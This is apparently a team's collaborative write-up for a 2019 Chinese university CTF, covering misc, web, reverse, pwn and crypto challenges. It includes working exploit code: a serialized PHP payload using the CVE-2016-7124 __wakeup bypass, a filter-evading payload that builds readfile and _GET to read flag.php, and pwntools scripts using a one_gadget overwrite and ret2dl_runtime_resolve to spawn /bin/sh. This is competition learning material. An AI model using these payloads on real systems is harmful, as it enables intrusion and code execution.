--- tags: ctf --- # 全国大学生信息安全竞赛 - 第十二届 :::success **URL**: https://race.ichunqiu.com/topic/2019dxs ::: ## 关于本文档 :::warning 使用本文档来促进线上的队员和在比赛基地的队员之间的合作,并记录整个比赛的过程。添加新题目请严格套用段落格式 `Chall_name | Working、Stuck、Done | Working:YourName` ::: ## 如何使用本文档 :::danger 在你决定解一道题之前,请**一定查看这道题当前的状态**,并且**把你的名字加入Working列表** * 如果你卡在某一到题上了,请及时更新这道题的状态 * 题目状态: * **OPEN** - 有人正在试图解这道题。如果你正在做,请把名字写在 Working 后面。 * **STUCK** - 卡住了。**如果你卡住了,请在下面留下当前进展和相关信息**,还有你的名字(这样后来者就能联系你了)。当你决定放弃这道题时,请把名字从 working 后面移除。 * **DONE** - 解决了!鼓掌撒花! * **请勿将key直接贴在本文档中** * **重中之重:请及时更新每道题的状态!** ::: --- [TOC] --- # Misc ## day1-24c 使用saleae打开后加入 I2C Analyzer, 观察到类似于 ``` write 32 "f163bdf4e}" write 0 "flag{c46d 10-e9b5-4d90-a883-41c" write 9 "ac" ``` 的内容 猜测上述"32","0","9"为位置, 经验证为24c02 chip写数据的方法 得以构造出最终flag flag{c46dac10-e9b5-4d90-a883-41cf163bdf4e} ## day1-saleae 使用saleae打开后,加入 SPI Analyzer, 将第0通道设为clock ![](https://i.imgur.com/0R2LDZ2.png) 即可在MISO/MISI上看到flag ![](https://i.imgur.com/YEBaP3O.png) flag{12071397-19d1-48e6-be8c-784b89a95e07} # Web ## day1-JustSoso "题目": { "index.php": "https://pastebin.com/qznxn2bX", "hint.php": "https://pastebin.com/f0uCB51W" } GET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码 发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化 有三处需要绕过: **1** parse_url 三斜杠绕过, 常规 **2** 需要调用class Flag::getFlag()才能进行下一步操作, 所以必定反序列化class Handle 正常情况下unserialize一个Handle会调用`function __wakeup`, 也就是说会将所有的成员置零 找到了[CVE-2016-7124](https://bugs.php.net/bug.php?id=72663)可以跳过执行__wakeup 修改序列化后Handle的属性个数即可 **3** 需要保证token与token_flag一致, 变量皆可控 每次调用`getFlag` `token_flag`都会随机变化, 所以只能通过控制`token`来绕过 可以将`token`赋值为`token_flag` 的引用绕过 `$flaginst->token = &$flaginst->token_flag;` ![](https://i.imgur.com/EUhNFz4.png) 用于生成payload代码: ```php <?php class Flag{} class Handle{ private $handle; function __construct($xx){ $this->handle = $xx; } } $p = new Flag("flag.php"); $p->token = &$p->token_flag; $p->file = "flag.php"; $pay = new Handle($p); echo urlencode(serialize($pay)); ``` 最终payload: `url///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D` flag{65d7e10c-88c9-40ef-b8ca-babe3bd2a2b5}(比赛后重新下发) ## day2-love the math 进入主页任意输入内容发现请求发往calc.php, 直接访问即可获得源码 "题目": { "calc.php": "https://pastebin.com/wJ6L6fZk" } 观察发现如下限制: payload长度不可超过80 可以执行任何**数学函数** 有部分字符不可用( `$blacklist` ) 基本思路: 由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出 应当取能够返回字符串的数学函数, 加以拼接得到期望值 题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload 观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。 其中利用base_convert能获取更大的字符集, 但也更长 base_convert(number,frombase,tobase) ![](https://i.imgur.com/ZAy4V9r.png) 可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入 验证: url:/calc.php?c=base_convert(55490343972,10,36)() 可以执行phpinfo 首先尝试利用getallheaders获取头部信息进行执行, 但后来发现头部信息不可控 ![](https://i.imgur.com/heXe4v3.png) 只能放弃利用getallheaders 由于system等函数需要传入单双引号, 所以应当考虑直接在php中读文件 ![](https://i.imgur.com/SlwlDOA.png) base_convert(371235972282,10,28)->readfile 考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。 于是得到目的: 将两个`[a-z0-9]*`字符串异或得到_GET,利用_GET{param}获取到另一参数中填入的文件名(即flag.php)进行读取 进行fuzz, fuzz代码: ```php $table = "0123456789abcdefghijklmnopqrstuvwxyz"; for($i = 0; $i < 36; $i++){ for($j = $i; $j < 36; $j++){ echo $table[$i]^$table[$j]; echo " "; echo $table[$i]." ".$table[$j]; echo "\n"; } } ``` ```bash php test.php| strings | grep "_" php test.php| strings | grep "G" php test.php| strings | grep "E" php test.php| strings | grep "T" ``` 得到`"1000"^"nwud" == "_GET"` 所以能够构造出payload: `base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})` 其中"12"是为了凑79(((躺 ```python payload = "base_convert(371235972282,28,10)(${decoct(512)^base_convert(862402,10,33)}{12})" request.get('url/calc.php',params={ 'c': payload, '12': 'flag.php' }) ``` flag{623a0211-2e86-48ad-b48a-388f67ad32bf} # Reverse ## day1-easyGo Go语言的题目,安装Go语言插件 https://github.com/sibears/IDAGolangHelper - 在IDA的file->script file中导入py脚本。 - 然后选择Go语言版本,并选择自动重命名变量。 简单分析核心函数 ``` fmt_Fscanf( a1, a2, (__int64)&addr_0x4e2880, (__int64)&v31, v4, v5, (__int64)&addr_0x4e2880, bss_qword_572B10, (__int64)aS0125Cccfcocsl, 2LL); if ( *(__int128 **)(v27 + 8) == &v31 && (runtime_memequal( a1, a2, (__int64)v26, *(_QWORD *)v27, v17, v18, v26, *(const __m128i **)v27, (unsigned __int64)&v31, 1), v19) ) { *(_QWORD *)&v29 = &string_autogen_L44YLG; *((_QWORD *)&v29 + 1) = &off_4E1140; result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18); } else { *(_QWORD *)&v28 = &string_autogen_L44YLG; *((_QWORD *)&v28 + 1) = &off_4E1150; result = fmt_Fprintln(a1, a2, (__int64)v16, (__int64)&off_4E28A0, v17, v18, (__int64)&off_4E28A0, qword_572B18); } ``` - 可以得知程序中的`runtime_memequal`存在明文比对,我们尝试dump相关内存,由于go语言很多都依靠各种寄存器来记录地址,从Fscanf后单步调试。 - gdb调试,`b* 0x495277`下断点,单步跟踪。 ![](https://i.imgur.com/RgiWbSy.png) # Pwn ## day1-your_pwn 任意地址读写,最简单的方式,先读main函数返回地址,通过偏移算出one_gadget地址,复写后三个字节即可 ```python from pwn import * p = process("./pwn") #p.recvuntil("name:") #p.remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856) p = remote ("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com" ,57856) p.send("sadmess") def leak(a): p.recvuntil("index\n") p.sendline(str(a)) content=p.recvuntil("\n")[-3:-1] p.sendline(str(int(content,16))) return content def write(a,b): p.recvuntil("index\n") p.sendline(str(a)) content=p.recvuntil("\n")[-3:-1] p.sendline(str(int(b,16))) main_offset1=leak(632) main_offset2=leak(633) main_offset3=leak(634) print main_offset1 print main_offset2 print main_offset3 a=int(main_offset1,16)+int(main_offset2,16)*256+int(main_offset3,16)*256*256 a=a+0xf1147-0x20830 a=hex(a) print a[2:4] write(632,a[6:8]) write(633,a[4:6]) write(634,a[2:4]) i=0 while i<70: p.sendline("0") i+=1 p.interactive() ``` flag{caaa53afc1bbf5cda29539576d51264a} ## day2-baby_pwn ret2_dl_runtime_resolve 适于一些比较简单的栈溢出的情况,但同时又难以泄露获取更多信息的情况下。 此题恰好符合 ```python #!/usr/bin/python #coding:utf-8 from pwn import * import roputils elf = ELF('pwn') offset = 0x2C rop = roputils.ROP('./pwn') ppp_ret = 0x080485d9 # ROPgadget --binary bof --only "pop|ret" pop_ebp_ret = 0x080485db leave_ret = 0x08048448 # ROPgadget --binary bof --only "leave|ret" stack_size = 0x800 bss_addr = 0x0804a040 # readelf -S bof | grep ".bss" base_stage = bss_addr + stack_size p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com' ,33865) payload = 'A' * offset payload += rop.call('read', 0, base_stage, 100) payload += p32(pop_ebp_ret) payload += p32(base_stage) payload += p32(leave_ret) p.sendline(payload) cmd = "/bin/sh" payload2 = 'AAAA' payload2 += rop.dl_resolve_call(base_stage+20, base_stage+80) #调用dl_resolve_call,第二个为调用函数的参数 payload2 += rop.dl_resolve_data(base_stage+20, 'system') #在bss段伪造Elf32_Rel 和 Elf32_Sym payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00' payload2 += 'A' * (100 - len(payload2)) p.send(payload2) p.interactive() ``` flag{0967c80006c113aee8c7c3cb321ae19e} # Crypto ## puzzles - Q0 在线求解方程即可 ![](https://i.imgur.com/97NrUIU.png) 解得a1a2a3a4为fa6bed9c7a00 - Q1 发现三个为素数,每隔37个取一个,从素数表查得为0x1924dd7 - Q2 计算可得(1+91+7+1)*77 = 0x1E14 - Q3 物理公式E=ΔΦ/Δt代入得0x48d0 - Q4 高数作业本题目,https://www.ppkao.com/shiti/6665215/ 得到0x9d80 拼合得到flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}